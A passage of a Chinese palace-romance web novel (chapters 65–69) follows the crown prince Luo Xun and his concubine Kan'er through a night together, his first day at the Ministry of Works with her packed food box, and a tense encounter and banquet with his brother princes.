第65章 槛儿:蒙眼??太子真的很闷骚!
骆峋过来前沐浴过了,槛儿去浴间收拾时他还是习惯性地进了书房。
自打太子叫人送来了启蒙书册和碑帖,槛儿这几日可谓是日日不辍。
原本只是做做样子,谁知温故而知新,不知不觉还真沉浸到了书本里。
每天的十张大字槛儿也没懈怠,每个字一笔一划都临摹得格外认真。
骆峋翻看了几页,提笔蘸墨。
片刻后,生涩的描红下方多出了一行小字。
槛儿收拾还要些时间,骆峋搁了笔打算从她的书架上随便找本书看。
起身之际,他注意到最下面一层的架子上随意摆放的几本封皮精美的话本。
《一胎六宝,残疾世子爷把我宠上天》、《农门妻一夜六崽被夫家爆宠》、《一孕九宝打破侯府百年单传,婆婆笑疯了》
骆峋:“?”
海顺也看到了,嘴角抽了抽,弯腰将那几本话本拿出来放在书案上。
心里则寻思着难不成是宋昭训想生孩子想疯了,所以特意寻了这么些一胎六七**宝的话本子来看?
话说这种话本里的女主人翁得是仙体吧?若不然凡人能一胎这么多?
怕不是肚皮都得撑破。
骆峋也在想是不是小昭训急于有孕才看此类话本,但这个想法刚冒出来,他注意到书名下方的著者署名。
——仙芋居士
骆峋眸光一冷。
想到不久前线人回禀,道那姜氏为端午家宴中被瑜姐儿借宋昭训下了脸子,便妄图挑唆老七游说他废妾。
骆峋眼底的冷意更盛。
“明日叫人到五城兵马司与顺天府传话,往后,凡此人所著书册话本,一律不得再出现于坊市之中。”
海顺也注意到了著书人的名字,心说怪道是这些怪里怪气的书名呢。
这不就姜侧妃嘛。
“殿下,可是要同宣王打声招呼?”
海顺问。
“也不是别的,主要姜侧妃能写这些话本是经宣王爷准许的,贸然禁了她的书,宣王爷知晓了万一……”
骆峋冷哼。
“姜氏为瑜姐儿一句稚语让他来挑唆孤废妾,孤只禁姜氏的书已是给他颜面。
他若真要为此与孤生罅隙,只能说明他同孤这二十年的兄弟情分也不过如此,往后他亦难当大任。”
海顺明白了,恭声应下。
一旁的小太监将话本重新放了回去。
两刻多钟后。
槛儿从浴间出来。
夏天她不爱往身上抹香膏,嫌腻,但润肤美白的面脂早晚两次还是要抹。
瑛姑姑给槛儿抹面脂时寒酥、跳珠就给槛儿擦发,望晴喜雨在一旁打扇。
太子靠在床头看书。
有太子在,跳珠她们也不敢说笑。
等槛儿的头发擦拭得差不多了,跳珠接过银竹捧着的熏笼,和寒酥一起将那一头浓密的长发仔细烘干。
最后寒酥再简单替槛儿编了一个漂亮的独辫,柔顺地越过肩头搭在一侧。
因着早先槛儿说过,夜里熄不熄灯看太子的意思,所以瑛姑姑她们伺候槛儿收拾好后便自觉恭敬告退。
留海总管断后。
槛儿来到榻前,太子终于从书中抬眼。
见她穿了身青碧色绫纱寝衣,腰身微收,宽松的阔腿儿寝裤随着她的走动微微摇曳,裤边如水波般荡漾。
鲜艳的碧色衬着她白里透红的美人面,愈发显得她宛如一朵娇艳牡丹。
骆峋放下书。
看着她褪下软底绣鞋上了榻,看着她越过她爬到里侧,再朝他偎过来。
“殿下看的什么书?”
槛儿枕着男人的肩,伸手去翻封皮。
骆峋虚虚揽着她的腰,合上书让她看,“《增广贤文》,你日后要学的。”
槛儿翻了两页,假装还看不太懂的样子。
然后仰头笑道:“妾身会背《三字经》了,殿下要检查一下妾身的功课吗?”
骆峋没打算检查她的功课。
他早年检查老七、老八的功课,两人支支吾吾卡半天,事后说他太过严厉,他们瞧着就害怕得忘词。
其他年幼的弟妹也如此。
骆峋不觉得自己严厉。
但他不想吓到小昭训。
好不容易胆子大了些,何必再让她战战兢兢。
听她竟主动提起让他检查功课,骆峋道:“孤很严格,你若不怕,便背。”
槛儿当然不怕。
虽然这具身子还是会羞会怕,但四肢和声音她已经能完全控制好,不像之前那样动辄就抖啊抖的。
“那妾身开始背了啊。”
槛儿清清嗓子,开始认真背了起来。
骆峋以为她会像弟弟妹妹那样背着背着卡壳,不料她一口气全顺了下来。
等槛儿背完,他下意识挑出两三句让她解释其中的意思或典故,严谨得倒真有几分学堂先生的做派。
槛儿应答如流。
骆夫子目露赞许。
海顺立在角落,眼角抽了又抽。
别的男人跟妾室上了榻,只管奔着那事儿去,他们家爷和宋昭训倒好。
在榻上检查功课??
这像话吗?
说出去怕是都没人信!
好在这个话题没继续太久,太子爷挑着讲了两个典故后功课便算聊完了。
接收到主子的眼神。
海总管很是心领神会地灭了灯悄声告退。
槛儿早不在意熄灯与否了,只当是太子这时候的习惯,后来改了而已。
只不过。
灯灭的那一刻,对上男人那双在昏暗夜色里似透着幽火的眼,槛儿的心跳还是本能地漏了一拍。
骆峋将她放到榻上,迎上她隐隐泛着水光的眸子,轻轻摸她热乎乎的脸颊。
他也不说话。
就这么拿指腹摩挲,又描绘她的眉眼。
槛儿的气息与他夹杂着淡香的呼吸交织在一起,有些晕晕乎乎:“殿下……”
“嗯。”
骆峋低低应了一声。
想起什么,他手上的动作微顿,然后坐起来撩开帐子朝外探出身。
槛儿心想莫不是忘了什么。
正想着呢。
男人折身回来了。
屋中昏暗,槛儿没那么好的目力,只模糊感觉到太子手上好像拿了什么。
她刚要问。
男人覆过
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来,“闭眼。”
夜里静。
显得他近在咫尺的清冷嗓音愈发低沉,像似冰冷的钟磬上沾着几粒细砂。
沉冽而又富有磁性。
槛儿只觉耳根子一酥,已经熟悉了他的这具身子便不中用地软了三分。
她觉得臊,也忍不住腹诽。
这么暗,闭不闭眼好像也没差吧?
不过,槛儿还是把眼睛闭上了。
她生得白,如此昏暗的夜色中骆峋也能隐隐看到她柔媚的五官轮廓。
确认她闭了眼。
骆峋将东西覆到她的双目上,于是那张莹白的小脸上瞬间多了一抹黑。
槛儿的眼前也彻底变得黑乎乎的。
伸手不见五指的那种。
人的视觉在完全被剥夺的一刹那间,心理上会本能地感到慌乱不安。
槛儿此时就是这样的感受。
她一阵心悸,下意识抓住太子的手,不解道:“殿下,这是要做什么……”
骆峋将带子在她脑后打了一个松松的结,安抚地握住她的手,又亲亲脸蛋。
“不是想蒙着眼?”
他的声音放得更低。
听起来似格外有种蛊惑的味道。
槛儿想说自己什么时候想蒙着眼了,然而话到嘴边,她想起先前的投壶。
“轰”的一声。
一股热气直冲天灵盖儿,烧得槛儿浑身像似着了火,哪处都烫得厉害。
“妾不是,妾那是……那是投壶!妾是想看您蒙着眼投壶,不是蒙着眼……”
干这个!
两辈子,他们可还没有这样过。
再说屋里本来就黑乎乎的,蒙着她的眼睛他也看不清什么啊,不对,她做什么要管他看不看得清!
然而很快,槛儿就没有心思纠结了。
她感觉自己变成了一艘船。
太子便是船夫,暴风雨中的江面一浪高过一浪,她随他在浪涛中沉沉浮浮。
不知过去多久。
终于风平浪静。
槛儿把脸埋在枕头上,仿佛一条脱水的鱼。
骆峋替她顺着气儿,将人翻转过来,扯掉那条被她的眼泪浸湿的腰带。
把人拥进怀里。
槛儿软绵绵地在他胸膛上捶一拳。
再捶一拳。
刚饱餐一顿的太子爷心情很好,并不介意小昭训的此番僭越行为。
反倒她耍小性儿的动作,让他想起了方才她蒙着眼,似哭非哭的恳求。
骆峋心里忽然涌起一股,想要点上灯看看她此刻究竟何种娇态的冲动。
但这个念头方一冒出来。
就被他按下去了。
他不反感和小昭训做此事,甚至很欢喜,但感觉和亲眼所见还是有差。
明日要上值,他不想出任何岔子。
夜色掩饰了太子爷眼里掠过的笑意,他握住槛儿的手,将人捞到身上趴着。
“明日起,孤要外出当差。”
所以今晚就一次性吃个尽兴?
槛儿又想捶他了。
但忍住了。
正想应声,就听男人继续说:
“孤不在,你顾好自己,遇上无法解决之事,叫人去元淳宫寻海顺。”
第66章 太子动心
槛儿一怔。
没想到他要说的是这个,然后她就被他最后一句话转移了注意力。
“海公公不跟您一块儿去上值吗?那您白日在外的膳食如何解决?当差的地方有安排伺候您的人吗?”
上辈子她只知道太子是在这个时候开始正式入朝做事的,但太子当差具体怎么安排的就一概不知了。
骆峋只当她以为他会不适应没人伺候,便道:“当差不需要人伺候。”
他是储君,按规矩外出当差确实能带一个贴身服侍的,但没必要。
一来他的那几个皇兄当差都没带专人服侍,他亦不想搞这个特例,省得平白授人以柄,横生枝节。
二来他不需要当差时还必须有人跟前跟后,他又不是生活不能自理。
父皇已经点了四个禁军守在工部衙署外,没必要再多带这么一个人。
槛儿装出完全不了解的态度,问:“那您明日什么时候起呢?是用了早膳再外出,还是到了衙署再用早膳?午膳在当差的地方用吗?”
听她一口气问的都是自己平日里不会在意的琐事,骆峋很是不适应。
大概是女子天生比男子细心吧。
骆峋心想,淡声道:“寅时六刻左右。”
夏季官员卯时初开始点卯。
他不必参加朝会。
司务上值路上无资格使用代步工具,从东宫到工部这段路需步行。
以他的脚程,一刻多钟即可抵达,只要赶在卯时六刻左右到衙署便可。
“早膳在你这边用,午膳衙署有膳堂。”
槛儿起初只是装出关心的样子,这会儿听他这么说倒真有了几分兴趣。
她趴在他身上,好奇问:“公膳都有些什么啊,他们会另给殿下做,还是殿下您跟官员们吃一样的?”
刚刚将人折腾了一番,骆峋并不介意耐着性子同她聊几句日常相关。
“品级不同,膳食待遇不同,主食为粳米、糙米、杂粮饭,面亦有精糙之分。
高阶官员日有蔬菜荤腥供应,低阶官员较为次之,每旬会见一次荤腥。”
他说得比较笼统。
也是知晓槛儿聪慧,顾及说得太细致会让她推测出一些与前朝相关的事。
但他被父皇任命工部司务一职并不是什么秘密,骆峋便没有刻意回避。
“孤与低阶官员同吃,主食为糙米,偶有碎肉杂烩,配腌菜与盐水煮豆。”
槛儿就震惊了。
她知道品级不同膳食的待遇不同,好比宫人分三六九等,相应的待遇也不同,这样的规定放哪儿都一样。
但她没想到太子要跟低阶官员同吃。
槛儿严重怀疑打小锦衣玉食的太子吃不吃得惯腌菜和盐水煮豆,以及每十日才有一次的碎肉杂烩。
槛儿很想说一句“辛苦殿下”,可话到嘴边她想起太子虽自小生在金窝窝里,却并非贪图享乐的人。
上辈子庆昭帝几次御驾亲征,和将士们一起风餐露宿都不曾抱怨过一句。
如今不过是吃糙米腌菜,她若这么说,在他听来恐有她觉得他娇气之嫌。
“若是不想吃公膳,或者胃口比较大的,官员们能自带饭食或是小点心吗?”
槛儿问。
骆峋:“可。”
据他了解,目前六部衙署并未有公厨克扣官员伙食的情况发生,但管低阶官员伙食的厨子手艺差强人意。
有些官员觉得公厨的饭食粗粝难咽,会自行从家中带饭,衙署里该他的伙食份例则折银补贴给对方。
槛儿捏着男人的手指玩。
“那妾身明早让膳房给您准备几样糕点和小菜吧,当差费神费力的,消耗得快,殿下可得吃饱才行。”
骆峋想说不必。
幼年第一次被父皇带去六部观摩,以及前些日子去六部,他都是和衙署官员一同用膳,不存在吃不饱。
然看着她清亮的眼睛,骆峋顿了顿。
“嗯。”
隐约传来两声更鼓响,三更天了。
太子明儿要早起,两人也没再多聊。
分开收拾的时候,槛儿口述了几样糕点和小菜让跳珠跑了一趟膳房传话。
省得明日一早来不及。
不多时,两人重新上榻安置。
仲夏时节,夜里多少已经有些热了。
好在墙角处摆着一个铜鎏金的冰鉴,幽幽的凉气顺着镂雕孔散发出来。
沁得屋中满室清凉。
如此,便是夜里相拥而眠也不会感到热,反倒还要搭上一层薄被才合适。
槛儿平时很少会想太子。
因为知道他在忙,且又不是她想他,他就会来,所以她索性就不惦记。
每晚一个人兀自睡得舒坦。
但太子只要在身边,她还是会习惯性跟他挨在一起,睡着了腿就往他身上搭,太子往外挪,她便往外追。
头一晚骆峋不习惯。
第二次留宿仍旧不习惯,却也任她抱。
今晚大抵好几天没见了,骆峋无端有几分想她嵌在自己怀中的触感。
于是上了榻便不自觉将人捞到了怀里,寻了个两人都
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舒服的姿势抱着。
昏昏欲睡之际,骆峋恍惚想起。
他很久没再做那个香艳的梦了,尚未临幸她时分明连着几晚都有梦到。
.
翌日一早。
没等海顺进来叫起,太子爷先一步醒来。
他一动,槛儿也醒了。
服侍太子爷洗漱完,再一起用罢早膳。
太子漱了口回卧房更衣。
他虽担了个司务的官衔,但父皇当着朝臣的面言明他是去历练的,不是真就让他去做个正儿八经的司务。
且储君身份特殊,当差时不必像寻常官员那样着官袍,没得违背了礼法。
但穿朝服又太过彰显威严,因此太子今日只着了件空青色的窄袖常服。
胸前后背皆用金线绣着团龙纹,袖口及衣摆以金银线描绘着壮丽的江海山崖,配以金累丝二龙戏珠冠。
他身量颀长挺拔,浅淡的空青色衬着那张俊美的脸,倒是让他身上多出了几分属于文人墨客的斯文雅意。
就是这人肩膀太宽。
气势太强。
一看就是个武艺高强的文人。
“殿下这么穿真好看,真俊,”槛儿替太子正好发冠,真心实意地夸赞道。
上辈子含蓄内敛了一辈子,这辈子她不想含蓄了,两个人相处光靠心领神会怎么行,还是得说出来。
太子爷就觉得小昭训太不矜持了。
这么多宫人在场呢。
她在胡言乱语什么?
瞥她一眼,太子爷目不斜视地往外走。
海顺悄咪咪抬头瞅了一眼,就见他们家爷两侧耳垂竟泛着几分红。
海顺差点没忍住笑。
他们家殿下还很纯情呢。
出了院门。
察觉到身后轻盈的脚步声仍旧跟着,骆峋停下步子转身道:“回去。”
槛儿走到他跟前。
“殿下第一天当差妾身想多送您一段路,到西六院门口妾身就回,可以吗?”
骆峋不懂她的坚持。
但他默许了。
经过西六院门口,那道脚步声果然戛然而止了,莫名的,骆峋回首。
天刚麻麻亮,园中鸟雀啁啾。
院门口四座汉白玉亭灯,浅黄色的光透过绘着花鸟山石的琉璃灯罩散发开来,在她的脸上镀上一层柔光。
她立在朦胧天光中,青丝半绾。
晨风吹拂着她额前几缕碎发,倒映在那双明澈的眼睛里,似荡起阵阵涟漪,漫过他干涸而平静的心田。
一瞬间。
似有什么破土而出的声音。
第67章 太子的提盒里装的啥??
“主子,殿下走远了。”
跳珠的声音从旁边传来,槛儿收回视线侧身,对上跳珠忍笑的眼神。
“笑什么?”
槛儿往回走,随口问。
跳珠提着灯笼,藏不住笑意地很小声道:“主子对殿下真是有心。”
以往送殿下要么送到厢房门口,要么院门口,今儿殿下当差第一天,主子就把人送到了西六院门口。
讲究的呢。
跳珠没细说,但槛儿听明白了。
她不禁失笑。
要抓牢太子的宠爱单靠侍寝怎么够。
该有的心当然要有。
而她享受了他带给她的荣华,自然要做好分内之事,时不时回馈一二言行上的体贴关怀就包括其中。
若是既什么都想要,却又什么都不愿付出,那不是纯粹把人当冤大头?
寻常男人或许还会单纯为美色所惑,为此恨不得把心掏出来给对方。
太子就算了吧。
他不是那样的人,容不得她掉以轻心。
再者上辈子太子登基她便送了他很长一段路,他也像刚刚那样叫她回去。
大概是一种执拗?
槛儿莫名就是想纪念这种“第一次”。
当然,这些想法都是不能给跳珠说的,甚至连瑛姑姑都不能告诉。
她要让太子感受到她的用心,首先就得能瞒过自己人,甚至瞒过自己。
今天请安可以晚去一刻钟。
槛儿回去后不疾不徐地梳妆。
收拾好,听喜雨说昨晚太子在书房待了一刻钟,貌似看了她临摹的字。
见还有时间,槛儿就在出门前进了书房一趟,然后她便在第一张字下面看到了太子铁画银钩的字迹。
——勤**如斯,笔力渐增,可喜。
附:笔墨事贵有恒。
“咱们主子可真是不得了,有殿下这么一位厉害的夫子,怕是再过不久瑛姑姑这位先生都要教不了了。”
跳珠大着胆子打趣道。
瑛姑姑摇头笑:“我就只是个半桶水,哪当得起什么先生,殿下这样满腹经纶又诲人不倦的才叫先生呢!”
这是实话,但也是在拍马屁。
槛儿的脑海中便浮现出昨晚太子坐在书案前,给她批阅描红的画面。
一时没忍住,笑了。
.
元隆帝点的四个禁军在东宫门口候着,这四人都是御前精锐,日常和其他禁军一起负责元隆帝的护卫。
见太子出来,四人恭敬地行了礼。
骆峋对海顺简单交代两句,带着人走了。
海顺瞅着自家殿下越走越远的身影,瞅着瞅着,突然抹起了眼泪。
一旁的袁宝:“……”
袁宝不是很能理解:“您哭啥啊?殿下是去当差,又不是不回来……啊!”
后脑勺狠挨了一巴掌。
袁宝发出一声惨嚎。
“会不会说话?!不会说就闭嘴!”
海顺红着眼眶,没好气地斥道,就是声音里带着一丝明显的哭腔,听着气势瞬间矮了一大截儿。
袁宝轻打了两下自己的嘴巴子,还是不明白:“所以干爹您哭啥啊?殿下不是到点儿就下值回来了吗?”
夏季六部官员通常酉时初下值,遇上紧急事件另说,冬天如果衙署没啥要紧事,一般申时过半就能散值。
都能赶回来用晚膳呢。
“你知道个屁!”
海顺拭拭眼角,太子的身影消失在了拐角处,他还巴巴儿望着那个方向。
殿下刚被封为储君的时候他就到跟前儿伺候了,那时候他都才十四岁。
一晃眼都十七年了。
他啥时候离开过他们家殿下整整一天啊,之前去六部观摩他都跟着。
正式当差殿下却不让他跟了!
唉。
孩子长大了。
海总管吸吸鼻子,又往太子离开的方向望了两眼才终于折身回东宫。
殿下把看家的任务交给他。
他可得把这差给当好了。
骆峋领着四名禁军穿过条条宫道,抵达了六部衙署所在的千步廊广场。
千步廊广场乃中央官署所在之地,属皇城内范畴,位于承天门和大靖门之间。
正中间一条帝王御道,除了刑部是和都察院、大理寺坐落在御道的西侧。
其他五部都位于御道东侧,和鸿胪寺、钦天监以及太医院等官署挨在一起。
正值点卯的时候。
广场的御道不能走,来上值的大
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小官员要么沿御道两侧往各自的衙署走,要么从别处的小道穿来穿去。
总之都行色匆匆。
有相互交谈的也都把声音压得极低。
今日没什么大事,五品及以上的官员下朝亦下得早,骆峋刚从承天门出来便有官员追上来向他问安。
骆峋免了几人的礼。
“即日起孤与诸位大人同在衙署当差,当值期间诸位视孤作寻常同僚即可,无需过多礼节,以免耽误正事。”
礼部尚书韩循,刑部尚书周敏礼,以及工部尚书许仲谦,都是看着太子长大的。
熟知太子的秉性。
知晓他此番话并非做样子,而是真心不想他们因为他的到来耽误正事。
于是三人齐声道是。
他们身后的几位侍郎,郎中也跟着附和。
骆峋让他们自行到各自的衙署点卯,他则与工部尚书许仲谦,和工部左右两位侍郎一道往工部衙署行去。
路上不少人此前并没有机会见到太子,但大伙儿都认得太子身上规制下帝一等的着装和龙纹配饰。
众人不禁纷纷垂首见礼。
到了工部,四名禁军自觉站到门口两侧。
其中一名不忘将手中的八角乌木描金雕漆的小提盒,呈递到太子面前。
这是槛儿叫膳房替太子准备的糕点小菜,盒子是特制的,底层搁的有冰。
禁军负责太子爷的安全,要警惕周遭,往这儿一站就是一天,总不能就这么让他们拎着盒子站门口吧。
许仲谦早年给太子上过课。
知道这样的事历来都是海顺或其他小太监做,太子殿下本人拎东西。
简直闻所未闻,见所未见。
如今亲眼目睹。
许仲谦很是惊讶。
没想到太子瞧着这般尊贵不凡的人,来当差居然还记得带这么个小食盒。
大概是海总管帮忙准备的吧,想不到太子还挺听得进海公公的话。
就是不知道里头装的啥。
许仲谦摸摸山羊胡,看似若无其事,实则眼神往小提盒上瞄一眼,再瞄一眼。
骆峋:“……”
骆峋假装没看见,面无表情地提着在他手中堪比玩具的小食盒迈上台阶。
第68章 太子当差首日,食盒之争!
这时,一个做书吏打扮的清瘦男子,忽然从旁边夹道里蹿了出来。
他没有注意到人,一手拿着文书袋一手提溜着袍摆低头直往衙署里冲。
一旁的禁军以防他冲撞了太子,伸手拦了一下:“书办慢行,殿……”
话音未落。
书吏撞上禁军的手臂,只听一声轻呼,那书吏连滚带翻摔了个倒栽葱!
拦人的禁军:“……”
他也没使劲吧。
许仲谦和太子听到动静回头。
便见那身形消瘦,面容斯文清秀的书吏一脸茫然地从地上爬起来,眉皱着眼眯着,瞧着眼神不大好使。
许仲谦扶额:“林鸿渐!你看什么看?冲撞了太子殿下你该当何罪!”
说完,对太子解释道:
“殿下恕罪,此人乃司务厅书办,患有短视之症,平日里都是佩戴叆叇办公。”
林鸿渐一听“太子殿下”,面色当即白了,哆哆嗦嗦在随身携带的袋子里摸叆叇,边摸边走过来要跪。
“小的林鸿渐,拜见殿下……”
“不必多礼。”
骆峋没觉得有被冲撞,淡淡打断了他的话:“正事要紧,画卯上值吧。”
说完,转身进了衙署。
许仲谦瞪林鸿渐。
但发现对方在低头恭送太子,叆叇还拿在手上呢,他瞪了也是白瞪。
许仲谦就懒得瞪了,跟着进了衙署。
司务厅有两个科房。
所谓科房,便是房中设数张案桌,每名官吏各据一张案桌处理公务。
两名司务,刚好一人管一间科房。
司务有单独的值房,但平时办公大部分时间都在每间科房的上首处正中,相当于学堂里夫子坐的地方。
太子身份特殊,他如果跟司务一样坐在屋中间,底下的人别说办公。
怕是头都不敢抬了,反倒耽搁正事。
所以太子往后办公都在元隆帝特地命工部给他单独辟的那间公房里。
到了公房,见过相关所有低官小吏。
骆峋没有多言,只道不要因为顾忌他的身份而耽误办差,便叫众人散了。
也没再让许仲谦陪。
司务厅的相关事务他已经熟知,但他不是专职司务,并不着急领差事。
之前看的工程案卷以及账目还没看完,骆峋坐下没多会儿,便有小吏将剩下的各种文书册子搬过来。
小吏们不敢逗留,放下东西后躬身告退,还很有眼力见儿地关上了门。
等走远了,几个小吏凑到角落里。
“殿下是要看咱们有没有通过虚报物料或是**文书,来中饱私囊吗?”
“咱们许尚书出了名的清廉务实,这么多年陛下都没那啥,殿下一来就查这查那,岂不是打许尚书的脸?许尚书以前还教过殿下呢。”
“这话就说的不对了,殿下最是英明不过,岂是那等徇私枉法之辈。”
“行了行了,身正不怕影子斜,有这猜来猜去的闲功夫还不如赶紧当差。”
林鸿渐正了正叆叇,整理好案牍后翻开刚收到的文书开始誊写,对临近的几个小吏所谈论之事并未多听。
一墙之隔的公房里。
骆峋对工部的规制典章了若指掌,看卷宗这种事于他而言也是信手拈来。
如是看半个时辰,起身活动活动筋骨。
到隔间的净房里稍作解决。
再或是临窗远眺,或是从角落案几上备好的茶壶里倒上一盏凉茶饮下,闭目养神片刻后接着看。
到了晌午。
沉寂了一上午的公房门被打开,俊美威严的太子爷从里面走出来。
也是在这个时候忙碌了半天的大伙儿才重新想起,太子在他们这里!
好家伙。
一瞬间,打哈欠的打一半憋回去了。
伸懒腰的伸一半身子僵住了,说话的人险些没被自己的口水给呛到。
唯有第一排的林鸿渐低头收拾案牍,嘴巴一张一合地不知在默念些什么。
不过没人注意到他。
整个屋子里静得宛如无人之境。
骆峋不动声色地环视一圈。
目光在林鸿渐身上顿了顿,旋即并未理会屋中众人的态度径自出了科房。
早听说太子仁心仁德,曾以童言揭示民生之苦,促发元隆帝实施新政,实际生活中却是个面冷寡言的。
如今一见,果真如此。
太子不理他们,众人反倒松了一口气。
到了膳堂。
骆峋按规矩排到低阶官吏领饭的队伍。
凡事都有个熟悉的过程。
这些小官吏平时连自家尚书都见不到几面,如今乍一下这般和太子接触,几个胆小的差点当场厥过去。
赶忙就把位置让了出来。
骆峋也没推辞。
道了句“多谢”直接行到领膳处。
他的饭食和其他人的一样,但碗碟是海顺提前叫人备好的,也有人当众试毒。
确定饭食没问题。
骆峋拎着食篮回了公房。
今日的午膳和昨晚骆峋同槛儿提过的别无二致,主食是
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糙米饭,配菜为粗盐拌蒸茄泥和一碟盐水青豆。
骆峋吃了几口,才想起带来的提盒。
拿都拿来了。
他把小提盒拎过来打开。
上面一层放着两个带盖的青花瓷小碟,一个里面是水晶脍,一个里面是拌有芝麻酱和花椒油的麻香鸡丝。
盖子打开,一阵鲜香扑鼻。
下面一层放着两个一揸多长的檀木条盒,装着薄荷松瓤酥和冰酪玫瑰团。
底层的冰因为提盒的保温设计还没化,骆峋把两道糕点暂且放回盒子。
饭吃完,自有小吏来收食篮。
接下来的时间除了到外面续了一次茶水,其他时候骆峋一直待在公房。
半下午时候趁歇眼之际,他将两道糕点拿出来,配着凉茶食了几块。
临到散衙的点儿。
骆峋先一步走了。
司务厅众人见状再一次松了口气。
“哟,这是什么?太子怎么拎了这么个玩意儿?莫不是海顺那老货偷懒,竟劳驾咱们太子亲自拎东西?”
工部衙署门前。
骆峋刚出来,迎面看到荣王、睿王、慎王、宣王和简王往他这个方向来。
慎王上来就敞开了他的大嗓门。
慎王人不如封号,生得皮肤黝黑,筋肉发达,行事历来狂放不羁。
太子上值没带海顺,这消息今儿一早就传到他们几个耳朵里了,慎王知道。
偏这会儿跑来明知故问。
骆峋懒得理他。
将手中的提盒递给身旁的禁军。
不料禁军刚把提盒接过去。
慎王就仗着身手好,来了个攻其不备。
“让我瞧瞧这盒子里装的什么,”慎王抢了东西,咧着嘴打开盖子。
他是皇子,禁军不好直接从他手里抢东西,只好扭头请示太子的意思。
刚扭头。
一道身影迅速从眼前闪过。
慎王只来得及闻见一股食物的香味。
一只手蓦地探了过来。
随即眨个眼的功夫。
盒子便从他手中到了太子手里,被慎王摊在掌心的盖子也盖回了盒子上。
慎王一愣。
反应过来提盒已经被那名禁军拿着了,且这回禁军明显在防着他。
尊卑有序,慎王自是该敬着太子。
但他有时和简王一样。
不招点事吃一顿教训好像就不得劲儿,所以慎王皮笑肉不笑地看着太子。
“不至于吧太子,不过就是一个装吃食的盒子,有何不能给咱们看的?”
第69章 太子打了宋昭训(?!)
这话说得颇有些咬牙切齿。
自然不全因为盒子被抢回去的缘故。
而是在太子长起来之前,慎王的个头和功夫都是几兄弟中最拔尖的。
谁曾想太子一过十二岁。
个头就跟竹节似的,蹭蹭蹭地往上蹿。
这也就罢。
关键他是太子。
这几年父皇虽对东宫有所冷落,但他一出生就被父皇奉为吉兆是事实。
打小父皇给老六挑的先生和师傅都是最好的,以至于他们都还在苦练基本功时太子已经步入下一阶段了。
这也就导致功夫好的慎王每回比试切磋,都要吃小自己四岁的弟弟的亏!
这能忍?!
可不忍又能怎么样?
人家是太子!
慎王的怨气简直堪比地府里的男鬼。
这不。
刚刚一番交手看似是在抢一个食盒,实则却是往慎王心上捅了一刀子!
骆峋:“五哥想用膳,今晚的宴五哥自便即可,无需用孤剩下的。”
父皇在朝会上安排他来工部那日,睿王领着其他几个向他贺喜,要他请客。
一顿饭的事,骆峋应了。
只不过前几日忙着各种准备事务,宴席便安排到了今晚,今天他第一天当差,时间上来说也正合适。
“谁要吃你剩下的!”
慎王没好气,说话没过脑子。
结果刚说完就对上了太子那双古井不波的眼。
慎王一下子哑了。
“太子莫恼,老五只是性子急了些,并无恶意,还请太子勿要责怪。”
睿王出来打圆场,一派好兄长模样。
他惯是如此。
每当兄弟们发生争执他都会出来做好人,然后很小的一件事经他调和反而变得一发不可收拾。
就拿这件事来说,慎王无礼在先,太子就算当场斥责或惩治了慎王都可。
可经睿王这么一说,好似就显得太子不顾念手足之情,多小器似的。
但凡换个器量小又冲动的,怕是真就被睿王的这番话激起性子来了。
骆峋话少,但不代表他会任由别人曲解他或是容人往自己头上扣帽子。
“三哥言重,孤是不忍五哥食孤的残羹剩菜,何来恼怒责怪一说?”
都说了不是要吃你的残羹剩菜!
慎王咬牙。
眼角肌肉跳了好几下!
睿王笑如春风:“是,太子心胸开阔,是臣以小人之心度君子之腹了。”
骆峋负手前行,“三哥不必自贬,满朝文武谁不知三哥乃谦谦君子。”
睿王:“……”
这个老六。
该话少的时候,他话可一点儿也不少!
简王摇着扇子。
瞅瞅禁军手里的提盒。
嘴贱道:“六哥这么宝贝这盒子,难不成这是你那新妾替你准备的?”
睿王、慎王的眉头齐齐一挑。
骆峋不想搭理简王这个滚刀肉,但他没错过睿王和慎王眼里的异样。
他笑了。
“是与不是,与简王何干?孤的东西,即便是残羹剩饭,孤不愿给就不会给,还是说你也要学慎**抢?”
睿王,慎王以及宣王的脸色皆一变,简王打了个哆嗦,扇子都没拿稳。
睿王强颜欢笑:“太子真会说笑,咱们大靖上有父皇龙威镇守,下有律法管束,谁敢明抢你的东西啊。”
又扭头斥责简王。
“老大不小的人了,说话还这么不过脑子,东宫女眷岂是你能随意挂在嘴边的?还不快向太子赔罪!”
简王被他六哥的那个笑吓得魂飞魄散,磕磕巴巴道:“六、六哥,臣弟……”
骆峋懒得看他那一脸横肉。
伤眼。
荣王默默跟在六弟身后。
睿王神色晦暗地看着太子的背影,随即追上去,慎王撇撇嘴紧跟其后。
宣王捡起扇子往简王怀里一塞,恨铁不成钢:“记吃不记打,我都懒得说你!”
简王委屈。
不就提了一句他的新妾。
至于吗?
一个妾罢了,宫里又不缺女人。
不过这话打死简王都不敢说出来了,他屁颠屁颠地拖着肥胖的身子追过去。
太子要设宴款待几位王爷,东宫膳房早收到了消息,几位主子回来时席面已经在仁安殿摆好了。
别看睿王他们经常入宫。
和太子抬头不见低头见的。
但因着都有各自的差事和家,加上立场不同,平日里几兄弟像这样聚在一起的机会其实屈指可数。
信王还在禁足,不提。
撇开刚刚的小不愉,兄弟几个按尊卑长幼围着一张紫檀木包角八仙桌坐着,倒真有几分兄友弟恭的样子。
席间睿王又是向太子敬酒,庆贺他入朝,又是询问慎王、宣王差当得如何。
最后话题绕回到太子身上。
“下月万寿节,工部早三个月便在四处修修补补,接下来估计更有的忙。
许仲谦怕是会借太子的势向户部讨银子,是时太子可定不要应了他。
省得他尝到甜头,日后寻机把向户部讨银子的活儿都交给你来做。”
元隆帝的生辰在六月底。
过了这个生辰他便五十有八,不是整寿,放在民间大多老人都不会办。
但元隆帝是皇帝。
皇帝的生辰宴不单单是个人的事,更是象征着皇权天威的一种仪式。
尤其大靖从先帝起开始中兴,元隆帝承先帝之志,开创了大靖的中兴之局。
他的万寿节更是重新弘扬大**威,震慑周边邻国的一种必要手段。
所以即便元隆帝并非穷奢极侈的帝王,万寿节该有的流程也还是要有。
为此,工部三个月前便忙开了。
四处的宫殿要修缮维护,仪式用的礼器用具补的补重做的重做,还有城里城外的路面桥梁该修的也要修。
等等。
忙是真忙,费钱也是真的。
许仲谦为此没少和户部尚书干架。
睿王在户部当差,今儿一天户部尚书就在他跟前念叨工部如何如何。
就怕回头许仲谦打着太子的名号给他施压,户部尚书这边就想让睿王出面。
反正都是皇子,要吵就皇子和皇子吵。
睿王喝高了,跟太子吐一通苦水,叫他千万别插手,否则难做的是他。
一顿宴吃罢。
等睿王几人出了东宫,已经快到亥时。
坤和宫。
